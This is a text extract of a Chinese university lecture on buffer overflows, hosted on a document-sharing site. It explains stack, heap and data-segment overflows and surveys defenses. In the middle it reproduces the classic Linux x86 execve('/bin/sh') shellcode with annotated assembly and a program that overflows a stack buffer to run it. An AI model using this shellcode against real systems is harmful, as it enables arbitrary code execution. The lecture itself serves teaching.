收藏 分享(赏)

计算机系统安全缓冲区溢出.pptx

上传人:知识海洋 文档编号:24187414 上传时间:2024-11-30 格式:PPTX 页数:65 大小:334.53KB
下载 相关 举报
计算机系统安全缓冲区溢出.pptx_第1页
第1页 / 共65页
计算机系统安全缓冲区溢出.pptx_第2页
第2页 / 共65页
计算机系统安全缓冲区溢出.pptx_第3页
第3页 / 共65页
计算机系统安全缓冲区溢出.pptx_第4页
第4页 / 共65页
计算机系统安全缓冲区溢出.pptx_第5页
第5页 / 共65页
亲,该文档总共65页,到这儿已超出免费预览范围,如果喜欢就下载吧!
资源描述

1、网络安全网络安全Network SecurityNetwork Security/10/2第1页第第7 7章章 计算机系统安全(缓冲区溢出)计算机系统安全(缓冲区溢出)缓冲区溢出概述缓冲区溢出概述 缓冲区溢出攻击原理缓冲区溢出攻击原理 缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术 /10/2第2页第第7 7章章 计算机系统安全(缓冲区溢出)计算机系统安全(缓冲区溢出)缓冲区溢出概述缓冲区溢出概述缓冲区溢出攻击原理缓冲区溢出攻击原理 缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术/10/2第3页缓冲溢出概述缓冲溢出概述l1.缓冲区定义缓冲区定义l连续一段存放空间。连续一段存放空间。l2.缓冲区溢出

2、定义缓冲区溢出定义l指写入缓冲区数据量超出该缓冲区能容纳最大程度,造指写入缓冲区数据量超出该缓冲区能容纳最大程度,造成溢出数据改写了与该缓冲区相邻原始数据情形。成溢出数据改写了与该缓冲区相邻原始数据情形。lBuffer overflow is the result of writing more data into a buffer than the buffer can hold./10/2第4页ExamplelConsider the following codeint main(void)char buffer4;strcpy(buffer,“AAA”);mainstackframe p

3、reviousstack framebuffer4High addressesLow addressesAAA0/10/2第5页Example(contd.)lNow we input 4+4+3 As instead of 4 As.int main(void)char buffer4;strcpy(buffer,“”);AAAAAAAAAAAAAAmainstackframe previousstack framebuffer4Higher addressesLower addresses?AAAAAAAAAAA0/10/2第6页缓冲溢出概述缓冲溢出概述(续)(续)l3.缓冲区溢出危害l利

4、用缓冲区溢出实现在当地或者远程系统上实现任意执行代码目标,从而深入到达对被攻击系统完全掌控;l利用缓冲区溢出进行DoS(Denial of Service)攻击;l利用缓冲区溢出破坏关键数据,使系统稳定性和有效性受到不一样程度影响;l实现蠕虫程序l1988 Robert T.Morris蠕虫利用UNIX 系统中In,the Morris Internet worm exploited buffer overflow vulnerability in fingerd server program on UNIX systems.l曾在造成大约26亿美元损失Code Red蠕虫及其变体就是利用了M

5、icrosoft IIS中缓冲区溢出进行攻击 l年Sapphire蠕虫和20Witty蠕虫也都利用了缓冲区溢出进行攻击。lIn 2004,the Witty worm takes advantage of a buffer overflow flaw in several Internet Security Systems(ISS)products./10/2第7页Source from CERT(Computer Emergency Response Team)CERT Advisories,http:/www.cert.org/advisories/缓冲区溢出相关软件安全隐患数目占整个软件

6、安全隐患数目标百分比缓冲区溢出相关软件安全隐患数目占整个软件安全隐患数目标百分比/10/2第8页缓冲溢出概述缓冲溢出概述(续)(续)l4.造成缓冲区溢出根本原因造成缓冲区溢出根本原因l代码在操作缓冲区时,没有有效地对缓冲区边界进行检代码在操作缓冲区时,没有有效地对缓冲区边界进行检验验,使得写入缓冲区数据量超出缓冲区能够容纳范围,使得写入缓冲区数据量超出缓冲区能够容纳范围,从而造成溢出数据改写了与该缓冲区相邻存放单元内容。从而造成溢出数据改写了与该缓冲区相邻存放单元内容。lC and C+are the most common languages to create buffer overflo

7、ws.lC语言中许多字符串处理函数如:语言中许多字符串处理函数如:Strcpy、Strcat、Gets、Sprintf等都没有对数组越界加以检测和限制。等都没有对数组越界加以检测和限制。/10/2第9页缓冲溢出概述缓冲溢出概述(续)(续)lMicrosoftWindows,Linux/Unix,AppleMacintosh等主流操作系统无一例外存在缓冲区等主流操作系统无一例外存在缓冲区溢出问题。溢出问题。l存在缓冲区溢出问题应用程序也广泛存在,包括存在缓冲区溢出问题应用程序也广泛存在,包括数据库系统比如数据库系统比如MicrosoftSQLServer,Oracle9i,网络服务,网络服务(M

8、icrosoftIIS),网络协议实,网络协议实现现(比如比如OpenSSL),多媒体软件,多媒体软件(AppleQuickTime)等等等等/10/2第10页缓冲溢出概述缓冲溢出概述(续)(续)l缓冲区溢出能够成为攻击者实现攻击目标伎俩,缓冲区溢出能够成为攻击者实现攻击目标伎俩,不过单纯地溢出缓冲区并不能到达攻击目标。不过单纯地溢出缓冲区并不能到达攻击目标。l在绝大多数情况下,一旦程序中发生缓冲区溢出,系统在绝大多数情况下,一旦程序中发生缓冲区溢出,系统会马上中止程序并汇报会马上中止程序并汇报“fault segment”。比如缓冲区。比如缓冲区溢出,将使返回地址改写为一个非法、不存在地址,

9、从溢出,将使返回地址改写为一个非法、不存在地址,从而出现而出现core dump错误,不能到达攻击目标。错误,不能到达攻击目标。l只有对缓冲区溢出只有对缓冲区溢出“适当地适当地”加以利用,攻击者才加以利用,攻击者才能经过其实现攻击目标。能经过其实现攻击目标。/10/2第11页第第7 7章章 计算机系统安全(缓冲区溢出)计算机系统安全(缓冲区溢出)缓冲区溢出概述缓冲区溢出概述 缓冲区溢出攻击原理缓冲区溢出攻击原理缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术/10/2第12页缓冲溢出攻击原理缓冲溢出攻击原理l1.缓冲区溢出攻击模式缓冲区溢出攻击模式Attacked System溢出缓冲区溢出缓冲区

10、重定向到攻击程序重定向到攻击程序任意地执行程序任意地执行程序执行攻击程序执行攻击程序Attacker注入恶意数据注入恶意数据取得控制权取得控制权找到可利用缓冲区找到可利用缓冲区溢出隐患溢出隐患恶意数据能够经过恶意数据能够经过命令行参数、命令行参数、环境变量、环境变量、输入文件或者输入文件或者网络数据注入网络数据注入/10/2第13页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l2.缓冲区溢出可能发生位置缓冲区溢出可能发生位置l预备知识点预备知识点l进程在内存中布局进程在内存中布局/10/2第14页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l代码段代码段/文本段文本段l用于放置程序可执行代码用

11、于放置程序可执行代码(机器码机器码)。l数据段数据段l用于放置已初始化全局变量和已初始化用于放置已初始化全局变量和已初始化局部静态变量。局部静态变量。lBSS(Block Started by Symbol)段段l用于放置未初始化全局变量和未初始化用于放置未初始化全局变量和未初始化局部静态变量。局部静态变量。l堆堆l用于动态分配内存。用于动态分配内存。l堆栈段堆栈段l用于存放函数参数,返回地址,调用函用于存放函数参数,返回地址,调用函数栈基址以及局部非静态变量。数栈基址以及局部非静态变量。l进程环境变量和参数进程环境变量和参数.text.data.bssheapunusedstackenvLo

12、w addressHigh addressLinux/Intel IA-32 architecture/10/2第15页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l2.缓冲区溢出可能发生位置(续)缓冲区溢出可能发生位置(续)l堆栈堆栈(stack)l堆堆(heap)l数据段数据段(data)lBSS段段.text.data.bssheapunusedstackenvLow addressHigh addressLinux/Intel IA-32 architecture/10/2第16页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l2.缓冲区溢出可能发生位置(续)缓冲区溢出可能发生位置(续)

13、l堆栈堆栈(stack)l堆堆(heap)l数据段数据段(data)lBSS段段.text.data.bssheapunusedstackenvLow addressHigh addressLinux/Intel IA-32 architecture/10/2第17页被调函数堆栈布局被调函数堆栈布局l堆栈采取后进先出堆栈采取后进先出(LIFO)方式管理数据,这种方方式管理数据,这种方式是实现函数嵌套调用关键。式是实现函数嵌套调用关键。Previous stack framesFunction argumentsReturn addressPrevious frame pointerLocal

14、variablesHigh addressLow address从右到左次序从右到左次序指令存放器指令存放器(EIP)基址存放器基址存放器(EBP)局部非静态变量局部非静态变量/10/2第18页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l基于堆栈缓冲区溢出基于堆栈缓冲区溢出void function(char*str)char buffer4;strcpy(buffer,str);void main(int argc,char*argv)char large_string8;int i;for(i=0;i8;i+)large_bufferi=Afunction(large_string);/

15、10/2第19页Example(contd.)Large_string上一个栈帧地址上一个栈帧地址返回地址返回地址 argv内存低端内存低端内存高端内存高端argcESPmain函数栈帧函数栈帧void main(int argc,char*argv)i/10/2第20页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l基于堆栈缓冲区溢出基于堆栈缓冲区溢出void function(char*str)char buffer4;strcpy(buffer,str);void main(int argc,char*argv)char large_string8;int i;for(i=0;iBB.BB

16、B(total15Bs)l产生溢出输入产生溢出输入lPrompt:BB.BBB(total40Bs)(a)heap layout without overflow0030035000300360003003700030034000300380BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB0AAAAAA0(b)heap layout with overflowBBBBBBBBBBBBBBB0AAAAAAAAAAAAAAA0/10/2第29页基于堆缓冲区溢出攻击举例基于堆缓冲区溢出攻击举例l1996年年BSDI crontab被发觉存在基于堆缓冲区溢被发觉存在基于

17、堆缓冲区溢出隐患,攻击者能够经过输入一个长文件名溢出出隐患,攻击者能够经过输入一个长文件名溢出在堆上缓冲区,溢出数据改写区域是保留有用户在堆上缓冲区,溢出数据改写区域是保留有用户名、密码、名、密码、uid,gid等信息区域。等信息区域。/10/2第30页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l2.缓冲区溢出可能发生位置(续)缓冲区溢出可能发生位置(续)l堆栈堆栈(stack)l堆堆(heap)l数据段数据段(data)lBSS段段.text.data.bssheapunusedstackenvLow addressHigh addressLinux/Intel IA-32 archite

18、cture/10/2第31页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l基于数据段缓冲区溢出基于数据段缓冲区溢出void Overflow_Data(char*input)static char buf4=”CCCC”;int i;for(i=0;i 12;i+)bufi=A;/10/2第32页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l2.缓冲区溢出可能发生位置(续)缓冲区溢出可能发生位置(续)l堆栈堆栈(stack)l堆堆(heap)l数据段数据段(data)lBSS段段.text.data.bssheapunusedstackenvLow addressHigh addressLin

19、ux/Intel IA-32 architecture/10/2第33页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l基于基于BSS段缓冲区溢出段缓冲区溢出void Overflow_BSS(char*input)static char buf4;int i;for(i=0;i 12;i+)bufi=A;/10/2第34页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l3.常见溢出缓冲区路径常见溢出缓冲区路径l利用利用C标准函数库标准函数库l常见有常见有strcpy、strcat、sprintf、gets “Mudge”.How to Write Buffer Overflows.http:/

20、A.Henry MCP+I et al.Buffer Overflow Attacks.CyberGuard Corp.C.Cowan et al.Buffer overflows:Attacks and defenses for the vulnerability of the decade.Proceedings of the DARPA Information Survivability Conference and Expo,1999./10/2第35页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l利用数组下标越界操作lOff-by-one缓冲区溢出l利用数组最大下标与数组长度差异产生

21、。l比如l1998年10月BugTraq公布出Linux libc中realpath函数存在single-byte缓冲区溢出隐患,攻击者能够利用它取得root权限。参见O.Kirch.The poisoned nul byte,post to the bugtraq mailing list,October 1998.l12月OpenBSD安全组公布ftpd存在类似安全隐患。参见OpenBSD developers,single-byte buffer overflow vulnerability in ftpd,December.void BadCode(char*str)char buff

22、er512;for(i=0;i=512;i+)bufferi=stri;/10/2第36页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l利用有符号整数与无符号整数转换利用有符号整数与无符号整数转换 void BadCode(char*input)short len;char buf64;len=strlen(input);if(len MAX_BUF)strcpy(buf,input);/10/2第37页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l4.恶意代码(注入)恶意代码(注入)比如为实现:比如为实现:“exec(/bin/sh)”char shellcode =”xebx1fx5ex8

23、9x76x08x31xc0”x88x46x07x89x46x0cxb0 x0b”x89xf3x8dx4ex08x8dx56x0c”xcdx80 x31xdbx89xd8x40 xcd”x80 xe8xdcxffxffxff/bin/sh”;char large_string 128;void main()char buffer 96;int i;long*long_ptr;long_ptr=(long*)large_string;for(i=0;i 32;i+)*(long_ptr+i)=(int)buffer;for(i=0;istrlen(shellcode);i+)large_strin

24、g i =shellcode i ;strcpy(buffer,large_string);/10/2第38页The secret of the shellcodechar shellcode =/*main:*/xebx1f /*jmp$0 x1f or jmp callz */*start:*/x5e /*popl%esi */x89x76x08 /*movl%esi,$0 x08(%esi)*/x31xc0 /*xorl%eax,%eax*/x88x46x07 /*movb%al,0 x07(%esi)*/x89x46x0c /*movl%eax,$0 x0c(%esi)*/xb0 x0

25、b /*movb$0 x0b,%al */x89xf3 /*movl%esi,%ebx */x8dx4ex08 /*leal 0 x08(%esi),%ecx*/x8dx56x0c /*leal 0 x0c(%esi),%edx*/xcdx80 /*int$0 x80 */x31xdb /*xorl%ebx,%ebx*/x89xd8 /*movl%ebx,%eax */x40 /*inc%eax*/xcdx80 /*int$0 x80 */*callz:*/xe8xdcxffxffxff /*call start */*DATA*/bin/sh;132/10/2第39页基于堆栈缓冲区溢出攻击举

26、例基于堆栈缓冲区溢出攻击举例char shellcode =”xebx1fx5ex89x76x08x31xc0”x88x46x07x89x46x0cxb0 x0b”x89xf3x8dx4ex08x8dx56x0c”xcdx80 x31xdbx89xd8x40 xcd”x80 xe8xdcxffxffxff/bin/sh”;char large_string 128;void main()char buffer 96;int i;long*long_ptr;long_ptr=(long*)large_string;for(i=0;i 32;i+)*(long_ptr+i)=(int)buffer

27、;for(i=0;istrlen(shellcode);i+)large_string i =shellcode i ;strcpy(buffer,large_string);for(i=0;istrncpylstrcat-strncatlgets-fgetsl缺点缺点l使用不妥依然会造成缓冲区溢出问题。使用不妥依然会造成缓冲区溢出问题。比如比如MicrosoftVisualStudio提供提供C标准函数库标准函数库strsafe;/10/2第48页缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术l基于软件防御技术基于软件防御技术l类型安全编程语言类型安全编程语言l相对安全函数库相对安全函数库l修

28、改编译器修改编译器l内核补丁内核补丁l静态分析方法静态分析方法l动态检测方法动态检测方法l基于硬件防御技术基于硬件防御技术l处理器结构方面改进处理器结构方面改进/10/2第49页基于软件防御技术(续)基于软件防御技术(续)l修改编译器修改编译器l增强边界检验能力增强边界检验能力C/C+编译器编译器l比如针对比如针对GNU C编译器扩展数组和指针边界检验。编译器扩展数组和指针边界检验。Windows Visual C+.NETGS 选项也提供动态检测缓冲区溢出能力。选项也提供动态检测缓冲区溢出能力。l返回地址完整性保护返回地址完整性保护l将堆栈上返回地址备份到另一个内存空间;在函数执行返回将堆栈

29、上返回地址备份到另一个内存空间;在函数执行返回指令前,将备份返回地址重新写回堆栈。指令前,将备份返回地址重新写回堆栈。l许多高性能超标量微处理器含有一个返回地址栈,用于指令许多高性能超标量微处理器含有一个返回地址栈,用于指令分支预测。返回地址栈保留了返回地址备份,可用于返回地分支预测。返回地址栈保留了返回地址备份,可用于返回地址完整性保护址完整性保护 l缺点缺点l性能代价性能代价l检验方法仍不完善检验方法仍不完善 /10/2第50页缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术l基于软件防御技术基于软件防御技术l类型安全编程语言类型安全编程语言l相对安全函数库相对安全函数库l修改编译器修改编译器

30、l内核补丁内核补丁l静态分析方法静态分析方法l动态检测方法动态检测方法l基于硬件防御技术基于硬件防御技术l处理器结构方面改进处理器结构方面改进/10/2第51页基于软件防御技术(续)基于软件防御技术(续)l内核补丁内核补丁l将堆栈标志为不可执行来阻止缓冲区溢出攻击;将堆栈标志为不可执行来阻止缓冲区溢出攻击;l将堆或者数据段标志为不可执行。将堆或者数据段标志为不可执行。l比如比如Linux内核补丁内核补丁Openwall、RSX、kNoX、ExecShield和和PaX等实现了不可执行堆栈,而且等实现了不可执行堆栈,而且RSX、kNoX、ExecShield、PaX还支持不可执行堆。另外,为还支

31、持不可执行堆。另外,为了抵制了抵制return-to-libc这类攻击,这类攻击,PaX增加了一个特征,增加了一个特征,将函数库映射到随机内存空间将函数库映射到随机内存空间l缺点:缺点:对于一些需要堆栈对于一些需要堆栈/堆堆/数据段为可执行状态应用数据段为可执行状态应用程序不适当;需要重新编译原来程序,假如没有源代码,程序不适当;需要重新编译原来程序,假如没有源代码,就不能取得这种保护。就不能取得这种保护。/10/2第52页缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术l基于软件防御技术基于软件防御技术l类型安全编程语言类型安全编程语言l相对安全函数库相对安全函数库l修改编译器修改编译器l内核补

32、丁内核补丁l静态分析方法静态分析方法l动态检测方法动态检测方法l基于硬件防御技术基于硬件防御技术l处理器结构方面改进处理器结构方面改进/10/2第53页基于软件防御技术(续)基于软件防御技术(续)l静态分析方法静态分析方法l字典检验法字典检验法l遍历源程序查找其中使用到不安全库函数和系统调用。遍历源程序查找其中使用到不安全库函数和系统调用。l比如静态分析工具比如静态分析工具ITS4、RATS(Rough Auditing Tool for Security)等。其中等。其中RATS提供对提供对C,C+,Perl,PHP以以及及Python语言扫描检测。语言扫描检测。l缺点:误报率很高,需要配合

33、大量人工检验工作。缺点:误报率很高,需要配合大量人工检验工作。/10/2第54页基于软件防御技术(续)基于软件防御技术(续)l静态分析方法(续)l程序注解法 l包含缓冲区大小,指针是否可认为空,输入有效约定等等。l例如静态分析工具LCLINT、SPLINT(Secure Programming Lint)。l缺点:依赖注释质量/10/2第55页基于软件防御技术(续)基于软件防御技术(续)l静态分析方法(续)静态分析方法(续)l整数分析法整数分析法l将字符串形式化为一对整数,表明字符串长度将字符串形式化为一对整数,表明字符串长度(以字节以字节数为单位数为单位)以及当前已经使用缓冲区字节数。经过这

34、么以及当前已经使用缓冲区字节数。经过这么形式化处理,将缓冲区溢出检测转化为整数计算。形式化处理,将缓冲区溢出检测转化为整数计算。l比如静态分析工具比如静态分析工具BOON(Buffer Overrun detectiON)。l缺点:仅检验缺点:仅检验C中进行字符串操作标准库函数。检验范中进行字符串操作标准库函数。检验范围很有限。围很有限。/10/2第56页基于软件防御技术(续)基于软件防御技术(续)l静态分析方法(续)静态分析方法(续)l控制流程分析法控制流程分析法l将源程序中每个函数抽象成语法树,然后再把语法树转将源程序中每个函数抽象成语法树,然后再把语法树转换为调用图换为调用图/控制流程图

35、来检验函数参数和缓冲区范围。控制流程图来检验函数参数和缓冲区范围。l比如静态分析工具比如静态分析工具ARCHER(ARrayCHeckER)、UNO、PREfast和和Coverity等。等。l缺点:对于运行时才会显露问题无法进行分析缺点:对于运行时才会显露问题无法进行分析;存在;存在误报可能。误报可能。/10/2第57页缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术l基于软件防御技术基于软件防御技术l类型安全编程语言类型安全编程语言l相对安全函数库相对安全函数库l修改编译器修改编译器l内核补丁内核补丁l静态分析方法静态分析方法l动态检测方法动态检测方法l基于硬件防御技术基于硬件防御技术l处理器

36、结构方面改进处理器结构方面改进/10/2第58页基于软件防御技术(续)基于软件防御技术(续)l动态检测方法动态检测方法lCanary-based检测方法检测方法l将将canary(一个检测值一个检测值)放在缓冲区和需要保护数据之间,放在缓冲区和需要保护数据之间,而且假设假如从缓冲区溢出数据改写了被保护数据,检而且假设假如从缓冲区溢出数据改写了被保护数据,检测值也必定被改写。测值也必定被改写。l比如动态检测工具比如动态检测工具StackGuard、StackGhost、ProPolice、PointGuard等。等。l缺点:多少工具经过修改编译器实现检测功效,需要重缺点:多少工具经过修改编译器实

37、现检测功效,需要重新编译程序;这种方法无法检测能过绕过检测值缓冲区新编译程序;这种方法无法检测能过绕过检测值缓冲区溢出攻击。溢出攻击。protected Datacanary.buffer/10/2第59页基于软件防御技术(续)基于软件防御技术(续)l动态检测方法(续)动态检测方法(续)l输入检测方法输入检测方法l向运行程序提供不一样输入,检验在这些输入条件下程向运行程序提供不一样输入,检验在这些输入条件下程序是否出现缓冲区溢出问题。不但能检测缓冲区溢出问序是否出现缓冲区溢出问题。不但能检测缓冲区溢出问题,还能够检测其它内存越界问题。题,还能够检测其它内存越界问题。l采取输入检测方法工含有采取

38、输入检测方法工含有Purify、Fuzz和和FIST(FaultInjectionSecurityTool)。l缺点:系统性能显著降低。输入检测方法检测效果取决缺点:系统性能显著降低。输入检测方法检测效果取决于输入能否激发缓冲区溢出等安全问题出现。于输入能否激发缓冲区溢出等安全问题出现。/10/2第60页缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术l基于软件防御技术基于软件防御技术l类型安全编程语言类型安全编程语言l相对安全函数库相对安全函数库l修改编译器修改编译器l内核补丁内核补丁l静态分析方法静态分析方法l动态检测方法动态检测方法l基于硬件防御技术基于硬件防御技术l处理器结构方面改进处理器

39、结构方面改进/10/2第61页基于硬件防御技术基于硬件防御技术l64位处理器支持位处理器支持l Intel/AMD 64位处理器引入称为位处理器引入称为NX(No Execute)或者或者AVP(Advanced Virus Protection)新特征,将以前新特征,将以前CPU合合为一个状态存在为一个状态存在“数据页只读数据页只读”和和“数据页可执行数据页可执行”分分成两个独立状态。成两个独立状态。lELF64 SystemV ABI经过存放器传递函数参数而不再放经过存放器传递函数参数而不再放置在堆栈上,使得置在堆栈上,使得64位处理器不但能够抵制需要注入攻位处理器不但能够抵制需要注入攻击

40、代码缓冲区溢出攻击还能够抵制击代码缓冲区溢出攻击还能够抵制return-to-libc这类攻这类攻击。击。l缺点:无法抵制缺点:无法抵制“borrowed code chunks”这类攻击。可这类攻击。可参见参见Sebastian Krahmer.X86-64 buffer overflow exploits and the borrowed code chunks exploitation technique.http:/www.suse.de/krahmer/no-nx.pdf,Sep./10/2第62页缓冲区溢出攻击防御技术展望缓冲区溢出攻击防御技术展望lSoftware-based s

41、olutions in conjunction with existing hardware-based techniques.lPractical security polices to implement safe software engineering.lComprehensive tools or methodologies should be available to help developers design and implement software in a security conscious manner./10/2第63页教材与参考书教材与参考书l教材:教材:l李毅

42、超李毅超曹跃,网络与系统攻击技术曹跃,网络与系统攻击技术电子科大出版社电子科大出版社l周世杰周世杰陈伟陈伟钟婷,网络与系统防御技术钟婷,网络与系统防御技术电子科大出版社电子科大出版社 l参考书参考书l阙喜戎阙喜戎 等等 编著,信息安全原理及应用,清华大学出版社编著,信息安全原理及应用,清华大学出版社lChristopher M.King,Curitis E.Dalton,T.Ertem Osmanoglu(常晓波(常晓波等译)等译).安全体系结构设计、布署与操作,清华大学出版社,安全体系结构设计、布署与操作,清华大学出版社,(Christopher M.King,et al,Security

43、Architecture,design,deployment&Operations)lWilliam Stallings,密码编码学与网络安全原理与实践(第三版),密码编码学与网络安全原理与实践(第三版),电子工业出版社,电子工业出版社,lStephen Northcutt,深入剖析网络边界安全,机械工业出版社,深入剖析网络边界安全,机械工业出版社,l冯登国,计算机通信网络安全,冯登国,计算机通信网络安全,lBruce Schneier,Applied Cryptography,Protocols,algorithms,and source code in C(2nd Edition)(应用密码学应用密码学 协议、算法与协议、算法与C源程序,源程序,吴世忠、祝世雄、张文政等译吴世忠、祝世雄、张文政等译)l蔡皖东,网络与信息安全,西北工业大学出版社,蔡皖东,网络与信息安全,西北工业大学出版社,/10/2第64页Any Question?Q&A/10/2第65页

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 实用文档 > 工作范文

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:文库网官方知乎号:文库网

经营许可证编号: 粤ICP备2021046453号世界地图

文库网官网©版权所有2025营业执照举报